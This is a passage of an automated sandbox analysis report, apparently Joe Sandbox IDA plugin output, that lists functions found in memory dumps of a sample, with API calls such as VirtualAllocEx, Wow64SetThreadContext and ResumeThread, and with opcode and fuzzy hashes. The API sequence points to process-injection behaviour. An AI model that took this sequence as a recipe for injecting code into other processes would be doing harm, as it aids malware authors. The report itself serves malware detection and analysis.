Source File: 00000000.00000002.2126108804.0000000005500000.00000040.00000800.00020000.00000000.sdmp, Offset: 05500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5500000_Copy#51007602.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: d15cbdf515a6499bb8fe3fd4d2737ea42c4ec800946bd9abab5ac05bf710cd97
Instruction ID: 032e583e6a374e6820b916f8fce8fd81885e417bc35661bc05a92f32864e10cb
Opcode Fuzzy Hash: d15cbdf515a6499bb8fe3fd4d2737ea42c4ec800946bd9abab5ac05bf710cd97
Instruction Fuzzy Hash: D241F0B5D01208CFCB10DFA9D544BEDBBB1BF49314F24902AE409BB250D7799A85CF94

Function 05506790 Relevance: 1.6, APIs: 1, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 05506842

Memory Dump Source

Source File: 00000000.00000002.2126108804.0000000005500000.00000040.00000800.00020000.00000000.sdmp, Offset: 05500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5500000_Copy#51007602.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 2d886b61413b18e10d4eb7f16e8c59f53853711bea8ee01f6061f31e7b4de165
Instruction ID: 2a9e57ae88d6d93033a6f7bcdd439e755aa995a78bedd047add0fe8c6703bd62
Opcode Fuzzy Hash: 2d886b61413b18e10d4eb7f16e8c59f53853711bea8ee01f6061f31e7b4de165
Instruction Fuzzy Hash: EA3197B8D002589BCF10CFA9D980A9EBBB1FF49310F10A42AE815B7210D735A945CFA4

Function 05506798 Relevance: 1.6, APIs: 1, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 05506842

Memory Dump Source

Source File: 00000000.00000002.2126108804.0000000005500000.00000040.00000800.00020000.00000000.sdmp, Offset: 05500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5500000_Copy#51007602.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 946a8279c702d4c3a722d06327af328bf05badf460392e39d5b17bfdf36deb14
Instruction ID: 3042ab587fdd53185e49f1f817b710bad7a0c3c799aafd9e86bd1adc4b0785a8
Opcode Fuzzy Hash: 946a8279c702d4c3a722d06327af328bf05badf460392e39d5b17bfdf36deb14
Instruction Fuzzy Hash: CA3187B8D002589FCF10CFA9D980A9EFBB5BF49310F10A42AE819B7250D735A945CFA4

Function 05505D10 Relevance: 1.6, APIs: 1, Instructions: 100threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 05505DC7

Memory Dump Source

Source File: 00000000.00000002.2126108804.0000000005500000.00000040.00000800.00020000.00000000.sdmp, Offset: 05500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5500000_Copy#51007602.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: e3739eecf739e9eb11b1b5c40deb986253378ab83f22e77687b91c291d0cc0a8
Instruction ID: 5f46b3fcae43cb5c4ffc6b8494dbe3f705e43702e3b6c5f509e7cf35d61a362f
Opcode Fuzzy Hash: e3739eecf739e9eb11b1b5c40deb986253378ab83f22e77687b91c291d0cc0a8
Instruction Fuzzy Hash: AF41BDB5D012589FCB10DFAAD984AEEFFF1BB49310F14902AE419B7240D739AA45CF94

Function 0548DB70 Relevance: 1.6, APIs: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 0548DC14

Memory Dump Source

Source File: 00000000.00000002.2125779245.0000000005480000.00000040.00000800.00020000.00000000.sdmp, Offset: 05480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5480000_Copy#51007602.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 87373b80205f8ca236bff80791355ffde0fe2827456c8bfbc9179f14767ef12e
Instruction ID: 26770db17fa3048bc96212537fea81cbd5605ed47ec4552a5df305220a035d07
Opcode Fuzzy Hash: 87373b80205f8ca236bff80791355ffde0fe2827456c8bfbc9179f14767ef12e
Instruction Fuzzy Hash: 383198B8D012589FCF10DFA9D984AEEFBB1BF49310F10942AE819B7210D775A945CF94

Function 05505D18 Relevance: 1.6, APIs: 1, Instructions: 94threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 05505DC7

Memory Dump Source

Source File: 00000000.00000002.2126108804.0000000005500000.00000040.00000800.00020000.00000000.sdmp, Offset: 05500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5500000_Copy#51007602.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: b18d84da980b7a14a0136a3b402f52071ec78e0d3a82713f31dcdbb96bfeef24
Instruction ID: 29fd87bcffb3c5c12b37f9063bb5a295a3bfe7fbdcd076e4208865739c65e2cc
Opcode Fuzzy Hash: b18d84da980b7a14a0136a3b402f52071ec78e0d3a82713f31dcdbb96bfeef24
Instruction Fuzzy Hash: D331BCB5D002589FCB10DFAAD984AEEFBF1BF49310F14902AE419B7240D778A945CF94

Function 05506DE8 Relevance: 1.6, APIs: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 05506E6E

Memory Dump Source

Source File: 00000000.00000002.2126108804.0000000005500000.00000040.00000800.00020000.00000000.sdmp, Offset: 05500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5500000_Copy#51007602.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: d9faa689cd5fd72af75324ca03f7b9fdb9866485aaa848e6a797323646528d50
Instruction ID: fbd32c0fe72e0a5198a3f44728d47c275cf4d3e959eb81666ff47ab509cef0ee
Opcode Fuzzy Hash: d9faa689cd5fd72af75324ca03f7b9fdb9866485aaa848e6a797323646528d50
Instruction Fuzzy Hash: 4531CBB4D012189FCF14CFAAD985AAEFBB5BF49310F10942AE819B7340C735A841CFA4

Function 05506DF0 Relevance: 1.6, APIs: 1, Instructions: 73threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 05506E6E

Memory Dump Source

Source File: 00000000.00000002.2126108804.0000000005500000.00000040.00000800.00020000.00000000.sdmp, Offset: 05500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5500000_Copy#51007602.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 7c90352eb8ae7011a5be5a7f410825c1a56f2ab55658b56147b65b0feef855bd
Instruction ID: 2e9c26a63e1f627741150551642efca8d1009b377042340c1dfaec07bc07fe4f
Opcode Fuzzy Hash: 7c90352eb8ae7011a5be5a7f410825c1a56f2ab55658b56147b65b0feef855bd
Instruction Fuzzy Hash: 4831ACB4D012189FCF14CFAAD584AAEFBB5BF49310F10942AE419B7350C735A945CFA4

Function 04EFE2D0 Relevance: 1.5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

Strings

(aq, xrefs: 04EFE584

Memory Dump Source

Source File: 00000000.00000002.2122893814.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ef0000_Copy#51007602.jbxd

Similarity

API ID:
String ID: (aq
API String ID: 0-600464949
Opcode ID: 951cbdcf77f8188d10314b9149dfbcd561f62198b2e6ea352082be4aaeadcb54
Instruction ID: 57d7c2ab96332eca42e0b4517e9f6a80c483d77d2eed35946cca3184189b6349
Opcode Fuzzy Hash: 951cbdcf77f8188d10314b9149dfbcd561f62198b2e6ea352082be4aaeadcb54
Instruction Fuzzy Hash: BFA1A1317042009FD7159F68D854A6A7BB3FF89304B1584A9E60A8F7B2DB36FC42DB91

Function 04EF9759 Relevance: 1.5, Strings: 1, Instructions: 229COMMON

Download Yara Rule

Strings

4']q, xrefs: 04EF9982

Memory Dump Source

Source File: 00000000.00000002.2122893814.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ef0000_Copy#51007602.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: c08243c5f72b1760a6ab514263d99661dc9a096879f4d0b35f6bdd0d34096efc
Instruction ID: 1da43a5219114f588e24cd083f29a6f47e14cebdeea45930dfb86537719c0d3f
Opcode Fuzzy Hash: c08243c5f72b1760a6ab514263d99661dc9a096879f4d0b35f6bdd0d34096efc
Instruction Fuzzy Hash: 2FA1FA74A10618DFDB08EFA4D894A9DBBB2FF88304F519159E945AB3A5DB30FC42CB50

Function 05472918 Relevance: 1.5, Strings: 1, Instructions: 217COMMON

Download Yara Rule

Strings

(aq, xrefs: 05472AB1

Memory Dump Source

Source File: 00000000.00000002.2125713429.0000000005470000.00000040.00000800.00020000.00000000.sdmp, Offset: 05470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5470000_Copy#51007602.jbxd

Similarity

API ID:
String ID: (aq
API String ID: 0-600464949
Opcode ID: 2e67a8f1120ccdc98291edd67b41d9a14ee6738dd653527c977fad9356fefa55
Instruction ID: e2b84acc7cc809180f0b5bcaf2f759a8ac1a491fdc472b4108b083c3a8eefaa6
Opcode Fuzzy Hash: 2e67a8f1120ccdc98291edd67b41d9a14ee6738dd653527c977fad9356fefa55
Instruction Fuzzy Hash: B1719B75B046098FCB14DFA9C684AEFBBF2FFC8310F14856AD459A7345DB70AA028B50

Function 04EFD3F8 Relevance: 1.4, Strings: 1, Instructions: 142COMMON

Download Yara Rule

Strings

4']q, xrefs: 04EFD442

Memory Dump Source

Source File: 00000000.00000002.2122893814.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ef0000_Copy#51007602.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: bf7fc89a112127d8b180edecf845b1e8fc53a9ecea4bc2b555e5c14e91540c16
Instruction ID: 25fbe340d35dfd9a9e2e906e5e58f919ff885df4dbe04ed115bedfb454a16c81
Opcode Fuzzy Hash: bf7fc89a112127d8b180edecf845b1e8fc53a9ecea4bc2b555e5c14e91540c16
Instruction Fuzzy Hash: 9F419270B102188FDB08AB64DC54AAEBBB7EFC9704F505119D546AB3A4DF74BC06CB91

Function 00F1D422 Relevance: 1.4, Strings: 1, Instructions: 133COMMON

Download Yara Rule

Strings

TJbq, xrefs: 00F1D507

Memory Dump Source

Source File: 00000000.00000002.2110369451.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_Copy#51007602.jbxd

Similarity

API ID:
String ID: TJbq
API String ID: 0-1760495472
Opcode ID: 4b7f620821bd49ff2f5d29c71d51e73ee1f5194ba910ed4f4d50c2c5e8ca7172
Instruction ID: 32c31687cd56c620b4f30e84873ceb3ec721ceb6b0d5f069aa1896660255601a
Opcode Fuzzy Hash: 4b7f620821bd49ff2f5d29c71d51e73ee1f5194ba910ed4f4d50c2c5e8ca7172
Instruction Fuzzy Hash: 3D51BF74E05208DFDB04DFA9D984AEDBBF2BF88310F10816AE406A7261DB34A985DF50

Function 00F1D430 Relevance: 1.4, Strings: 1, Instructions: 128COMMON

Download Yara Rule

Strings

TJbq, xrefs: 00F1D507

Memory Dump Source

Source File: 00000000.00000002.2110369451.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_Copy#51007602.jbxd

Similarity

API ID:
String ID: TJbq
API String ID: 0-1760495472
Opcode ID: 91bd4f570d7a640780c408b4fae479e684ce639b056cdb71e9ef93872b7c2141
Instruction ID: 57c4d10fdbe1c5b01a5ee23fb9430a5ce5ca02f4499b74dbcd1eb78f895ccefc
Opcode Fuzzy Hash: 91bd4f570d7a640780c408b4fae479e684ce639b056cdb71e9ef93872b7c2141
Instruction Fuzzy Hash: 0C51AF74E01208DFDB04DFA9D984AEDBBF2BF88310F10806AE406A7265DB74A985DF50

Function 04EFCE02 Relevance: 1.4, Strings: 1, Instructions: 115COMMON

Download Yara Rule

Strings

4']q, xrefs: 04EFCEB7

Memory Dump Source

Source File: 00000000.00000002.2122893814.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ef0000_Copy#51007602.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: a573ab9e10c8fe18135fef2fc6ea0e565620a17c85f235803c16c096ed909b7d
Instruction ID: 63dd767b2251521f9752c36380602b91ebad2bfe84ac84d71b27d814cf6db476
Opcode Fuzzy Hash: a573ab9e10c8fe18135fef2fc6ea0e565620a17c85f235803c16c096ed909b7d
Instruction Fuzzy Hash: F44180713406049FE308DB28D955B2A7BEAFFC8704F204558E64A8F3A5CE75EC02C791

Function 04EF1140 Relevance: 1.4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

,aq, xrefs: 04EF11A3

Memory Dump Source

Source File: 00000000.00000002.2122893814.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ef0000_Copy#51007602.jbxd

Similarity

API ID:
String ID: ,aq
API String ID: 0-3092978723
Opcode ID: 770cb2087c85d1a539dd2ecefbe706a2fa1797f7bea15a426566983ec53066bf
Instruction ID: 78ab8cd8a8a55034b5ebc8f308789fc61a6d9494f096d203a37949c4390475fc
Opcode Fuzzy Hash: 770cb2087c85d1a539dd2ecefbe706a2fa1797f7bea15a426566983ec53066bf
Instruction Fuzzy Hash: A141BE35700109CFCB05EFA9D8509AEBBB6EF89310B11816AE905DF361DB31ED02CB91

Function 04EFCE10 Relevance: 1.4, Strings: 1, Instructions: 109COMMON

Download Yara Rule

Strings

4']q, xrefs: 04EFCEB7

Memory Dump Source

Source File: 00000000.00000002.2122893814.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ef0000_Copy#51007602.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: 147b86c6c5fb95e9eda1c9d9b1f83b546116a49adc42bd8d5a44c395e7fc1e21
Instruction ID: 10aff05bda46115bbef874c6a85cc9678c5e1e62261233589f1e748b63f8c1cc
Opcode Fuzzy Hash: 147b86c6c5fb95e9eda1c9d9b1f83b546116a49adc42bd8d5a44c395e7fc1e21
Instruction Fuzzy Hash: A7315C713406049FD308EB69D994F2A77EAFFC8B14F204568E60A8B3A5CE75EC42C791

Function 05471BF7 Relevance: 1.4, Strings: 1, Instructions: 101COMMON

Download Yara Rule

Strings

(aq, xrefs: 05471CC8

Memory Dump Source

Source File: 00000000.00000002.2125713429.0000000005470000.00000040.00000800.00020000.00000000.sdmp, Offset: 05470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5470000_Copy#51007602.jbxd

Similarity

API ID:
String ID: (aq
API String ID: 0-600464949
Opcode ID: c8fea7e2e6bdbc2c165aaef1b89b40f7bd4375096121beda9fa32f3b706a7372
Instruction ID: b8fc4e9ff1877caaa4d2ba7408ba379d785b866c2bd98e9e3e700eb71b928e67
Opcode Fuzzy Hash: c8fea7e2e6bdbc2c165aaef1b89b40f7bd4375096121beda9fa32f3b706a7372
Instruction Fuzzy Hash: 5231DE35B046158FC7289F6998815AFBBF2FBC8221714892ED95AD3781CB30EC03CB81

Function 0572F8A0 Relevance: 1.3, Strings: 1, Instructions: 99COMMON

Download Yara Rule

Strings

(aq, xrefs: 0572F8F0

Memory Dump Source

Source File: 00000000.00000002.2126459321.0000000005710000.00000040.00000800.00020000.00000000.sdmp, Offset: 05710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5710000_Copy#51007602.jbxd

Similarity

API ID:
String ID: (aq
API String ID: 0-600464949
Opcode ID: 2d8c87980562b87b2cb3b6de457772ef20c314eb4757ce198be30ff1ddd81594
Instruction ID: 14ddfab9cb206593fdc1acd2d816c922a2235bfccfe9cdc6724530fcd5c8b2f0
Opcode Fuzzy Hash: 2d8c87980562b87b2cb3b6de457772ef20c314eb4757ce198be30ff1ddd81594
Instruction Fuzzy Hash: 9621F0363042516FEB046E6DD8409AEBF67EFC9320B14807AE909CB365CE729C12C790

Function 04EF87D1 Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

4']q, xrefs: 04EF8819

Memory Dump Source

Source File: 00000000.00000002.2122893814.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ef0000_Copy#51007602.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: 5e29a1a9aa01a34556191f0ce34b3b2bcab5fd883f75405aef3d06a8d740b6e3
Instruction ID: bd757e8c846525d0a6b1a654dfc9af375c5c56b65c2275ccd5d36aca07741694
Opcode Fuzzy Hash: 5e29a1a9aa01a34556191f0ce34b3b2bcab5fd883f75405aef3d06a8d740b6e3
Instruction Fuzzy Hash: 7B31A5317001149FDF08DF68D994999BBB6FFC8310B1540A9EA0A9B3A5DB31EC03DB50

Function 0548ED38 Relevance: 1.3, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 0548EDD7

Memory Dump Source

Source File: 00000000.00000002.2125779245.0000000005480000.00000040.00000800.00020000.00000000.sdmp, Offset: 05480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5480000_Copy#51007602.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: ab43ce4104f7d1ed76fbe463ca1bd2ab3b4e2c2f41122cffdf92168180ba78ec
Instruction ID: 5334e1b1b2f05d32540b82a0065014d4bb6f2f4e8418a863e530873bb551bae8
Opcode Fuzzy Hash: ab43ce4104f7d1ed76fbe463ca1bd2ab3b4e2c2f41122cffdf92168180ba78ec
Instruction Fuzzy Hash: CD3197B8D002589FCF10DFA9D980AEEFBB5BF49310F10942AE819B7210D735A945CF94

Function 00F15984 Relevance: 1.3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

`, xrefs: 00F1599C

Memory Dump Source

Source File: 00000000.00000002.2110369451.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_Copy#51007602.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: b22b26d5bc1abece711b9204b392df25808047129e75361f32a17f8ec89741a3
Instruction ID: 27b0c21d1d38234ae07b4c03c73dc6db1fbc61dc2f4ef1aef2a0702962d650a4
Opcode Fuzzy Hash: b22b26d5bc1abece711b9204b392df25808047129e75361f32a17f8ec89741a3
Instruction Fuzzy Hash: 0F318975A04A09CFDB04DF68E888BD8B7B2FBD0721F6581A6D0058F265D7749C86EF80

Function 04EF3ED1 Relevance: 1.3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

Strings

p<]q, xrefs: 04EF3F1A

Memory Dump Source

Source File: 00000000.00000002.2122893814.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ef0000_Copy#51007602.jbxd

Similarity

API ID:
String ID: p<]q
API String ID: 0-1327301063
Opcode ID: 0bcff8b30f7b524a28fc76c973d4ba32c8d21cc2c848889f231375ae4b851846
Instruction ID: 8d69e77ff3e837d9f33c90add53d3002f33f34734dcf8f7037dd165d2487f7ac
Opcode Fuzzy Hash: 0bcff8b30f7b524a28fc76c973d4ba32c8d21cc2c848889f231375ae4b851846
Instruction Fuzzy Hash: 322138723041449FDB15DF2AD8809EA7BF6EF89315B1584A5FD49CB2B1DA35EC42CB20

Function 04EF3EE0 Relevance: 1.3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

Strings

p<]q, xrefs: 04EF3F1A

Memory Dump Source

Source File: 00000000.00000002.2122893814.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ef0000_Copy#51007602.jbxd

Similarity

API ID:
String ID: p<]q
API String ID: 0-1327301063
Opcode ID: 70637a35572a89b1139b6c2d4d18805b60d3a47f79633a020d418f4bb2c7cca9
Instruction ID: f7371b11433a484d8128b12244def8a7081f4b71ee1a79d8dff319827f956dd0
Opcode Fuzzy Hash: 70637a35572a89b1139b6c2d4d18805b60d3a47f79633a020d418f4bb2c7cca9
Instruction Fuzzy Hash: DC2138713001549FCB15DF2ACC40AAA7BFAAF89315B0940A5FD45CB2B1CA35EC51CB60

Function 04EF113E Relevance: 1.3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

Strings

,aq, xrefs: 04EF11A3

Memory Dump Source

Source File: 00000000.00000002.2122893814.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ef0000_Copy#51007602.jbxd

Similarity

API ID:
String ID: ,aq
API String ID: 0-3092978723
Opcode ID: c51919f973d24d0a8847634f890ce1e603a911bb60e36ea235e9c470191e5eae
Instruction ID: fc8c1fd7a7675217a11f27adbd8eed8392182d10175abf58d1ebfdb3de67ff7f
Opcode Fuzzy Hash: c51919f973d24d0a8847634f890ce1e603a911bb60e36ea235e9c470191e5eae
Instruction Fuzzy Hash: 32116D34700109CFCB04DFA9C89496EBBB6EF89341F118166EA05DB365DB71EC01CB90

Function 00F11E70 Relevance: 1.3, Strings: 1, Instructions: 51COMMON

Download Yara Rule

Strings

8aq, xrefs: 00F11EA3

Memory Dump Source

Source File: 00000000.00000002.2110369451.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_Copy#51007602.jbxd

Similarity

API ID:
String ID: 8aq
API String ID: 0-538729646
Opcode ID: 42403f5480d73b0a17c45ef76b6193ff910e865f83db47774079bcfcf886c25c
Instruction ID: 6b0b690f5c246ad8704f7a18c2d91cf336abf6b51fc38ca6283e36f5ac04e3a0
Opcode Fuzzy Hash: 42403f5480d73b0a17c45ef76b6193ff910e865f83db47774079bcfcf886c25c
Instruction Fuzzy Hash: AC112135604100CFD700EB69D884BA9B7E6FBC9324F15816AE5028F3A5C774EC8ADF51

Function 04F19D14 Relevance: 1.3, Strings: 1, Instructions: 24COMMON

Download Yara Rule

Strings

n, xrefs: 04F19D5B

Memory Dump Source

Source File: 00000000.00000002.2123016154.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f10000_Copy#51007602.jbxd

Similarity

API ID:
String ID: n
API String ID: 0-2013832146
Opcode ID: 19645b6ec5336653556d32002dcad421c5a18aed0ecf034d4dede72c265eef42
Instruction ID: f787775ebee6f71fb05d3b11e93d00f9c4ff2063523a42d7a0e5f671a5926ebc
Opcode Fuzzy Hash: 19645b6ec5336653556d32002dcad421c5a18aed0ecf034d4dede72c265eef42
Instruction Fuzzy Hash: 88F05234C443A8EFDB609F20D5987E9BBB1FB09315F1014EAD019A2221C7762AE6CE01

Function 04F19D97 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

n, xrefs: 04F19D5B

Memory Dump Source

Source File: 00000000.00000002.2123016154.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f10000_Copy#51007602.jbxd

Similarity

API ID:
String ID: n
API String ID: 0-2013832146
Opcode ID: 99e9884ff776eabf5f257eeb3892c46e41e8ad64bebef540d9dd39db4ae49e37
Instruction ID: 152dab7bc8b47be88b4592d1a291e6ed102975007e2be29e2d668fc337b94af3
Opcode Fuzzy Hash: 99e9884ff776eabf5f257eeb3892c46e41e8ad64bebef540d9dd39db4ae49e37
Instruction Fuzzy Hash: 69F03975C443A8DFDBA19F14C5947E9BBF1FB05305F0015D9C02AA2260CBB52AD6CF42

Function 04F12039 Relevance: 1.3, Strings: 1, Instructions: 16COMMON

Download Yara Rule

Strings

], xrefs: 04F12047

Memory Dump Source

Source File: 00000000.00000002.2123016154.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f10000_Copy#51007602.jbxd

Similarity

API ID:
String ID: ]
API String ID: 0-3352871620
Opcode ID: 7d4e8383395810e057b49d91d2ca6ef20f92959676cc2fcd8f56d8ec92358744
Instruction ID: 516a97f90c01a0c678c593d3031f747f4193537008742a8cf0cf63393ffe5d29
Opcode Fuzzy Hash: 7d4e8383395810e057b49d91d2ca6ef20f92959676cc2fcd8f56d8ec92358744
Instruction Fuzzy Hash: E7E09274906219CBEB60CF64C988BDDBBB2AB09315F2411D9C508722A0DB35AAC6DE09

Function 04F1B9EF Relevance: 1.3, Strings: 1, Instructions: 5COMMON

Download Yara Rule

Strings

>, xrefs: 04F1B9FC

Memory Dump Source

Source File: 00000000.00000002.2123016154.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f10000_Copy#51007602.jbxd

Similarity

API ID:
String ID: >
API String ID: 0-325317158
Opcode ID: 28f755494705593847f80e1fe09c4bc5e1cb4b53f4a2b90c8e20107d316f51c4
Instruction ID: 2f3736e413f820ec731cb9f015f503048d63010557b5ab945a527ee8ac476342
Opcode Fuzzy Hash: 28f755494705593847f80e1fe09c4bc5e1cb4b53f4a2b90c8e20107d316f51c4
Instruction Fuzzy Hash: A8B01231989254CFC7109F10CE497FE7B71BB42346F0811C9900E32090CB741EC5CE01

Function 04EFD648 Relevance: .4, Instructions: 437COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2122893814.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ef0000_Copy#51007602.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d640eb4a46c57213663056e8fa1edbc8eed2b90db46d6eda3a43c9c46e13172
Instruction ID: 57f3c3b72927507e3c5310bdc4f0cb1628ab115844248d512f6ff93c33c5fb53
Opcode Fuzzy Hash: 3d640eb4a46c57213663056e8fa1edbc8eed2b90db46d6eda3a43c9c46e13172
Instruction Fuzzy Hash: 3D120634A002188FDB14EF68CC94B9DBBB2BF89304F5195A8D54AAB365DB30ED85CF50

Function 00F11970 Relevance: .3, Instructions: 255COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2110369451.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_Copy#51007602.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3df9847755183ab6adcabb90207f2c5f5801d5d20f90ca17d60abfa4bd03cf48
Instruction ID: b206960454f45ad70bb6de42cc9cc6a4798e9ccf115a5556d3ef00778a32b688
Opcode Fuzzy Hash: 3df9847755183ab6adcabb90207f2c5f5801d5d20f90ca17d60abfa4bd03cf48
Instruction Fuzzy Hash: 68A17E35B00104CFDB04DB78D858BE97BF2FF88311F25806AE9069B3A5DA35AC86DB51

Function 00F11D4E Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2110369451.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_Copy#51007602.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5d13cdd48a9d0e4c7caece9ccac22db25cf3f507cb30ec52015e9aab7561c7d
Instruction ID: d7567b0ee19b9593ac0a91103c43941a7687190e15b8e3611119bd2e70292d3d
Opcode Fuzzy Hash: c5d13cdd48a9d0e4c7caece9ccac22db25cf3f507cb30ec52015e9aab7561c7d
Instruction Fuzzy Hash: F3A14935B00109CFDB44DB68D898BA977F2FF88311F258066E6069B3A4DB35AC86DB51

Function 04EF05D8 Relevance: .2, Instructions: 248COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2122893814.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ef0000_Copy#51007602.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ce5e1018178c4fa5d8e8cc1ae627f0bf945a82f18ea560c3602a7151711b526
Instruction ID: 5c9b5d6b381a5a317cab9db6cac0338c7ba4b92f8ff35422baf75d794e39d483
